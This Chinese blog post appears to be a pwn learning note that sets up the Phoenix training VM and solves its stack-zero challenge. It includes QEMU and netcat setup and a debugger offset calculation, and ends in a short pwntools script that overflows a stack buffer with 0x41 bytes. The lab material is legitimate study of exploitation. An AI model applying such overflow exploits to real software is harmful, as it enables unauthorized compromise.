BuringStraw

BuringStraw

[pwn笔记0]Phoenix环境搭建和stack-zero

找到一个学习 pwn 的项目http://exploit.education ,决定让我临时抱佛脚学的 pwn 走向正轨,试试开个笔记系列(每次 pwntools 脚本都忘记怎么写),希望不要半路弃坑。定个小目标,至少把 Phoenix 系列做完吧。

环境配置#

首先在 more-downloads 里下载 phoenix 的虚拟机系统镜像,根据你的架构选择。这就是靶机。在启动之前,我们需要安装qemu-system-x86 (64 位的也在同一个包里(archlinux))

运行boot-balabala.sh启动虚拟机,默认在 2222 端口开启 ssh。用户名和密码都是 user。

如果你想使用 netcat 来转发里面的程序,只需在启动脚本里添加另一个端口转发,这里放网络那一整行为例。

-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333

然后在虚拟机里执行

mkfifo io

并创建一个脚本文件(start.sh)

#!/bin/bash
cat io|$1 -i 2>&1|nc -l 3333 > io

然后你就可以通过sh start.sh /opt/phoenix/amd64/stack-zero 这样的方式来开 netcat 了,端口 3333 记得要和启动脚本里的匹配。

虚拟机里的 gdb 默认装了 gef 但是我不太会用,所以 scp 了一份 peda 进去。略过。

宿主机再装个非常方便的 pwntools:pip install pwntools

stack-zero#

程序比较简单,直接用 cutter 了。

(其实 exploit.education 的网页上给了源码)(开头的注释甚至是个冷笑话草草草)

我们现在要让 s 溢出到 var_10h (changeme),内容随便。打开 gdb,计算一下距离,先随便输入点什么。

字符串在0x620这里。

判断语句,changeme 在rbp-0x10 这里也就是0x670-0x10

计算0x660-0x620=0x40

那么我们只要输出0x41个 a 即可

为了练习使用 pwntools,写个代码。

这里直接用 ssh 连了,nc 都不需要。

from pwn import *

shell = ssh("user", "localhost", password="user", port=2222)
sh = shell.run("/opt/phoenix/amd64/stack-zero")
print(sh.recvline())
sh.sendline(b"a"*0x41)
print(sh.recvline())
shell.close()

成功

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。